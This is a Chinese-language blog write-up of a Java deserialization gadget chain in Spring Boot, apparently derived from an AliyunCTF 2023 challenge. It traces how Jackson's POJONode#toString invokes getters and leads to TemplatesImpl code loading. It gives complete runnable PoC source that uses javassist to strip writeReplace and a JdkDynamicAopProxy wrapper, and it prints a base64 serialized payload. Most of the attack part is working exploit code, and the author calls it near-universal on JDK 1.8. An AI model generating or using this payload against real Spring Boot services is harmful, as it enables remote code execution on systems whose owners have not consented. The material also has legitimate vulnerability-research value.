前言

Jackson 在 SpringBoot 中自带。而这个依赖包中的 POJONode 在调用 toString 会触发 getter 方法的调用。类似于 fastjson 的 parse 和 rome 的 ToStringBean#toString。因此如果目标环境可以用 TemplatesImpl 并且 jdk 版本较低，那么将可以在 SpringBoot 环境中造成反序列化 RCE。最先公布这条链是在 2023 AliyunCTF 上。

引入以下依赖

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.15</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    ...
    <properties>
        <java.version>1.8</java.version>
    </properties>
    ...
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>
    ...

分析

POJONode 在调用 toString 方法时会触发其携带节点的 getter 方法，

例如：

public class Main {
    public static void main(String[] args) throws Exception {
        User user = new User();
        POJONode jsonNodes = new POJONode(user);
        System.out.println(jsonNodes);
    }
}

public class User {

    private String name;

    public String getName() {
        System.out.println("调用了 getter 方法");
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

结果如下：

调用了 getter 方法
{"name":null}

完整的调用栈如下：

getName:12, User (link.f0rget.horse.jackson)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:2994, String (java.lang)
println:821, PrintStream (java.io)
main:22, Main (link.f0rget.horse.jackson)

既然有这个特性，那么我们很容易在如下环境中构造出 getter 链。getter 链无非就那么几条：

• TemplatesImpl 链
• LdapAttribute 链
• JdbcRowImpl 链->jndi（由于 setter 方法无法调用，fastjson 的链子不能用）

TemplatesImpl

异常

既然如此，就以 TemplatesImpl 为例子：

package link.f0rget.horse.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author Shule
 * CreateTime: 2023/9/15 11:55
 */
public class Demo {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("Calc.class"));
        setFieldValue(templates,"_name","TemplatesImpl");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{bytecodes});
        setFieldValue(templates,"_transletIndex",0);
        POJONode jsonNodes = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
        setFieldValue(badAttributeValueExpException,"val",jsonNodes);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        byteArrayInputStream.close();
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

正当我想要快乐的弹出计算器的时候，发生了这个错误：

注意到这一行信息： at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1136) 找到这段代码：

上面这里的 if 语句是说，如果被序列化的类中存在 writeReplaceMethod ，那么将会判断后面的语句，也就是 (obj = desc.invokeWriteReplace(obj)) == null 。

本来也没什么，毕竟 POJONode 的父类 ValueNode 的父类 BaseJsonNode 中确实定义了这个方法

可是在执行完我们带有 TemplatesImpl 的 POJONode 后却抛出了异常导致无法正常的序列化

不断追踪发现 BaseJsonNode#writeReplaceMethod 会导致在序列化过程中就已经调用了 TemplatesImpl#getOutputProperties导致抛出异常

下图异常点下在 BeanPropertyWriter#serializeAsField

为了避免上述情况的发生我们可以在序列化之前加上这几行代码，利用 javassist 先删除 BaseJsonNode#writeReplace

        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

同时参考 https://xz.aliyun.com/t/12846#toc-1 可知，有可能存在利用失败的情况，原因在于 TemplatesImpl 中存在好几个 get 方法。反序列化调用 get 方法的先后顺序不确定

transletindex
stylesheetDOM
outputProperties

某些 get 方法在反序列化过程中被调用会抛出异常，比如 getStylesheetDOM

其中被 transient 修饰的 _sdom 注定会在调用 get 方法时导致空指针异常。为了避免这样的情况发生，我们可以借助 org.springframework.aop.framework.JdkDynamicAopProxy 动态代理类完成封装调用，因为当我们使用反射获取一个代理类上的所有方法时，只能获取到其代理的接口方法。而 TemplatesImpl 实现的接口 Templates 中只有一个 getOutputProperties 方法。我们的目标也只需要调用它即可。

JdkDynamicAopProxy

而 JdkDynamicAopProxy 是什么神仙类？

对于动态代理类我们重点要关注它的 invoke 方法。下面这里我删去了一些无关紧要的代码。我们可以发现在 else 语句中会将 target 对象传递给一个反射代理对象。而 target 对象又是从 this.advised.targetSource.getTarget() 获得的。

    @Override
    @Nullable
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        ...

        TargetSource targetSource = this.advised.targetSource;
        Object target = null;

        ...
        target = targetSource.getTarget();
        Class<?> targetClass = (target != null ? target.getClass() : null);    
        ...
            if (chain.isEmpty()) {
                // We can skip creating a MethodInvocation: just invoke the target directly
                // Note that the final invoker must be an InvokerInterceptor so we know it does
                // nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
                Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            }
            else {
                // We need to create a method invocation...
                MethodInvocation invocation =
                        new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                retVal = invocation.proceed();
            }

            ...
    }

这就不禁要问一下 this.advised 是什么东西了，在 JdkDynamicAopProxy 的构造器中我们可以很清晰的发现其实是一个 AdvisedSupport 对象

而 AdvisedSupport 中的 setTarget 方法很容易帮助我们将一个对象封装成 targetSource

完整 PoC

这下问题就好办了，既然 JdkDynamicAopProxy 可以原封不动的反射调用我们封装后对象的方法，那么我们可以构造如下 PoC:

package link.f0rget.horse.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

/**
 * @author Shule
 * CreateTime: 2023/9/16 12:14
 */
public class Demo2 {
    public static void main(String[] args) throws Exception {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        byte[] code= Files.readAllBytes(Paths.get("Calc.class"));
        byte[][] codes={code};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "TemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", null);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);

        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        POJONode node = new POJONode(proxy);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(val);
        objectOutputStream.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        byteArrayInputStream.close();

        new ObjectInputStream(byteArrayInputStream).readObject();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

运行该 poc 即可完成弹出计算器的操作.

结语

在 jdk1.8 的环境下简直就是通杀，一向较为安全的 SpringBoot 竟然能够构造出如此厉害的反序列化链子，实在太妙了。